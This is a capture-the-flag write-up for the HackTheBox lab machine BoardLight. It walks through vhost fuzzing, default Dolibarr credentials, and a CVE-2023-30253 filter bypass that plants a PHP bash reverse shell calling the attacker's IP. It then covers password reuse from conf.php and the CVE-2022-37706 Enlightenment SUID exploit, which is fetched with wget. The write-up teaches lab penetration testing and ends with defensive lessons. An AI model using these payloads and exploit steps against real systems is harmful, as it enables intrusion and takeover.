the_open_door
coffee
ESEN

BoardLight

HackTheBoxEasyLinux10.10.11.117 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dolibarr#cve-2023-30253#vhost#php-injection#credential-reuse#enlightenment#cve-2022-37706#suid#linux
TL;DR. BoardLight is an easy Linux box. Through virtual-host fuzzing (with --append-domain) we find crm.board.htb, running Dolibarr 17.0.0. We log in with the default admin:admin credentials and, from the website builder, abuse CVE-2023-30253: a filter that blocks <?php tags is bypassed by writing them as <?pHp, achieving code execution and a shell as www-data. Dolibarr's conf.php holds a cleartext database password we reuse over SSH for user larissa and grab user.txt. Enumeration reveals the Enlightenment window manager with SUID binaries; we exploit CVE-2022-37706 and escalate to root.

Reconnaissance#

Initial scan#

We start with a ping. Besides confirming the box answers, the TTL on the returning packet hints at the operating system:


ping -c 1 10.10.11.11
64 bytes from 10.10.11.11: icmp_seq=1 ttl=63 time=... ms

TTL 63 points to Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1. A hint, not proof, since it can be spoofed. A full TCP scan of all 65535 ports finds just two: 22 (SSH) and 80 (HTTP).


sudo nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.11
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

The REASON column (which is what the -vvv is for) repeats that same TTL 63 by another route, this time on the TCP reply. On those two ports, a focused -sCV details what runs on them:


nmap -p22,80 -sCV 10.10.11.11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The 4ubuntu0.11 on OpenSSH pins the base to Ubuntu 20.04 (Focal). What is still missing is the domain name, because -sCV does not give it: the site doesn't even have a title. whatweb does:


whatweb http://10.10.11.11
http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ],
Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]

Email[info@board.htb]: the contact address embedded in the home page gives away the domain board.htb, which we add to /etc/hosts:


echo '10.10.11.11 board.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.10.11.11 board.htb

Served by name, the page is still static: a corporate template with What we do and Who we are sections plus a contact form that leads nowhere interesting.

board.htb's home page, a static corporate template with a contact form

Discovering the crm.board.htb subdomain#

Before vhosts comes the obvious move, enumerating routes, and there is nothing there:


dirsearch -u http://board.htb
[13:52:24] 200 -    2KB - /about.php
[13:52:39] 200 -    2KB - /contact.php
[13:52:18] 403 -   274B - /.ht_wsr.txt
[13:52:18] 403 -   274B - /.htaccess.bak1
...
[13:53:03] 403 -   274B - /server-status

Two more pages of the same static site and a wall of 403. Route scanning is exhausted, so we move to virtual hosts. The key here was gobuster's --append-domain flag, which appends the base domain to each wordlist entry (otherwise nothing was found). Up comes crm.board.htb.


gobuster vhost -u http://board.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain -t 100 | grep -v "Status: 400"
Found: crm.board.htb Status: 200 [Size: 6360]

We add it to /etc/hosts as well:


echo '10.10.11.11 crm.board.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 2 /etc/hosts
10.10.11.11 board.htb
10.10.11.11 crm.board.htb

Visiting it we find the login panel of Dolibarr, an open-source ERP/CRM written in PHP. And without typing anything yet, the page already hands over the one thing that matters most: the version, 17.0.0, printed above the form and repeated in the tab title (Login @ 17.0.0).

crm.board.htb presents Dolibarr's login panel, with version 17.0.0 printed above the form

Shell as www-data#

Dolibarr 17.0.0 and default credentials#

We try Dolibarr's typical default credentials and admin:admin works: it lets us in with a limited session.

How limited the session is shows up immediately: almost every administration area answers with an Access denied, and the message itself confirms the current login is admin. The one tab still alive is Websites, and that is exactly the one that matters.

Dolibarr answers Access denied in the admin panel, with Current login: admin and the Websites tab highlighted

CVE-2023-30253: bypassing the PHP-tag filter#

Dolibarr 17.0.0 is vulnerable to CVE-2023-30253. The application ships a website builder (Websites) that lets you edit a page's HTML. To prevent code execution it filters <?php tags... but the filter is case-sensitive and PHP is not: writing the tag as <?pHp bypasses the control and the code is interpreted anyway.

The builder starts out empty, with no site created:

Dolibarr's Websites tab, still with no site created

The creation form only requires a name and a language; everything else can be left blank:

Dolibarr's Create website form with the name machine and the English language

With the machine site created, the top bar enables the second row, the page one:

Dolibarr's bar with the machine site active and the Page row enabled underneath

The page is built from scratch out of an empty template:

the Add page/container form with type Page, the Empty page template and the title web1

And once the page exists, the button that opens everything up shows up, Edit HTML Source:

the web1 page bar with the Edit HTML Source button highlighted

In there we inject a "disguised" PHP tag that launches a reverse shell.

<section id="mysection1" contenteditable="true">
    <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.15.39/1010 0>&1'"); ?>
</section>

In Dolibarr's Websites editor we inject &lt;?pHp ... ?&gt; to bypass the filter

The address bar also confirms the exact injection point: crm.board.htb/website/index.php?website=machine&pageid=17&action=editsource.

We hit Save, start a listener and click the preview icon (the binoculars on the right of the page bar):

the page bar with the payload saved and the preview icon highlighted on the right

The preview opens a tab that stays blank and never finishes loading: a sign that the PHP exec has blocked the response because the shell is already running.

the preview tab opens blank and never finishes loading


sudo ncat -nlvp 1010
Ncat: Listening on 0.0.0.0:1010
Ncat: Connection from 10.10.11.11:46360.
whoami
www-data

Shell as www-data.

Shell as larissa#

Database password in conf.php#

As www-data, the spot that almost always holds credentials is the app's configuration. Dolibarr's conf.php lives in the conf/ directory under the site root, /var/www/html/crm.board.htb/htdocs/, and that is where we read it from:


cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
...

The header comment confirms the version (generated by Dolibarr installer 17.0.0) independently of what the panel claimed, and the database password is serverfun2$2023!!. In /etc/passwd there are only two users with a real shell: root and larissa, so the password has only one possible recipient.

The way the pivot is done is worth noticing, because there is no need to leave the box: the SSH is launched from www-data's own shell against localhost, which is what lets us reuse the password without depending on port 22 being reachable from outside.


ssh larissa@localhost
Could not create directory '/var/www/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:cfQmOVNyP7asi/B8DSu3+G5gDhuN37I3cqCQM89psFk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
larissa@localhost's password:
Last login: Sun Sep 15 14:49:59 2024 from 10.10.14.11
larissa@boardlight:~$

The password typed in is the database one, serverfun2$2023!!, and credential reuse is confirmed. Both .ssh warnings are just noise: www-data has no writable home, so ssh cannot store the server key, but authentication works all the same.


ls
brdex.sh  Documents  linpeas.sh  Pictures  Templates  Videos
Desktop   Downloads  Music       Public    user.txt

The shell still has no TTY, so the first thing is asking for a real one:


script /dev/null -c bash
Script started, file is /dev/null

And the flag is right there:


cat user.txt
e3272ab8d1a2b4e9fa924af0256e13a3

Shell as root#

Enumeration: Enlightenment with SUID#

The automated sweep is linpeas (repo), which was already sitting in larissa's home (it shows up in the ls above, next to someone else's brdex.sh). It only needs permissions and a run:


chmod +x linpeas.sh; ./linpeas.sh

The interesting part comes in the files with interesting permissions section, the one about SUID binaries: they run with their owner's privileges, so the ones owned by root are direct escalation candidates.

╔══════════╣ Files with Interesting Permissions
╚ SUID - Check easy privesc, exploits and write perms
...
-rwsr-xr-x 1 root root  27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
...
-rwsr-xr-x 1 root root 163K Apr  4  2023 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

Among the usual binaries (sudo, passwd, mount, su...) linpeas flags four as Unknown SUID binary!, and all four come from the same place: the Enlightenment window manager, a lightweight WM whose name also matches the machine's. That is lead enough. Next comes the exact version, which is what decides whether there is an exploit:


enlightenment --version
Version: 0.23.1

CVE-2022-37706: SUID escalation to root#

That version is vulnerable to CVE-2022-37706, a local privilege escalation abusing how Enlightenment handles device mounting with its SUID binaries. A public exploit exists; we upload it to the victim and run it (no arguments needed).


git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit; cd CVE-2022-37706-LPE-exploit
...
Resolving deltas: 100% (32/32), done.

The repository holds exploit.sh, served over HTTP straight from that directory:


python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

From the victim it is pulled with wget and moved to /tmp, a directory everyone can write to:


wget http://10.10.15.39/exploit.sh
--2024-09-15 15:18:35--  http://10.10.15.39/exploit.sh
Connecting to 10.10.15.39:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 709 [text/x-sh]
Saving to: 'exploit.sh.1'
...
2024-09-15 15:18:35 (73.0 MB/s) - 'exploit.sh.1' saved [709/709]

709 bytes: a short shell script, not a binary, so it is worth reading before firing it. It takes no arguments. (The .1 in the name is because the home already held a copy from an earlier attempt; a file just fetched with wget arrives without the execute bit and needs its chmod +x before it can be run.)


mv exploit.sh /tmp/; cd /tmp; ls
';'  exploit  exploit.sh

./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
If it is not found in fstab, big deal :D
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
# cat /root/root.txt
c40bb6c9556fd2df78a3ce8792717973

The mount: ... can't find in /etc/fstab along the way isn't a failure, it's exactly the intended effect: the exploit abuses how enlightenment_sys, running SUID root, builds the mount command without sanitizing the path, so the mount error arrives after the injection has already run.

Box rooted.

Attack chain#

HTTP board.htb (80)
  │  gobuster vhost --append-domain
  ▼
crm.board.htb  ─►  Dolibarr 17.0.0  ─►  login admin:admin (default)
  │  CVE-2023-30253: <?php filtered  ─►  <?pHp (bypass)
  ▼
RCE in the Websites editor  ─►  www-data  ─►  reverse shell
  │  conf.php: db_pass serverfun2$2023!!
  ▼
SSH larissa  (credential reuse)  ─►  user.txt
  │  linpeas: Enlightenment 0.23.1 with SUID
  ▼
CVE-2022-37706 (SUID LPE)  ─►  root  ─►  root.txt

Lessons learned#

  • One flag changes the enumeration outcome. The crm.board.htb subdomain did not appear until using --append-domain in gobuster. Knowing your tools well (and retrying with other options) is part of vhost fuzzing.
  • Default credentials still open doors. admin:admin on Dolibarr was enough to get in. Changing install credentials is the first thing any deployment should do.
  • Case-sensitive filtering is no filtering. The control blocking <?php was bypassed with <?pHp because PHP is case-insensitive in tags. Case-sensitive blacklists are almost always bypassable; validate robustly or, better, patch (CVE-2023-30253).
  • The app's config is a keyring. conf.php stored the database password in cleartext, and larissa reused it for SSH. Per-environment secrets, kept out of readable files, would have cut the pivot.
  • One extra SUID is root. Enlightenment ran vulnerable SUID binaries (CVE-2022-37706). The SUID bit grants the owner's privileges: every SUID binary is attack surface and should be kept minimal and updated.
Command cheatsheet 18 commands

Quick review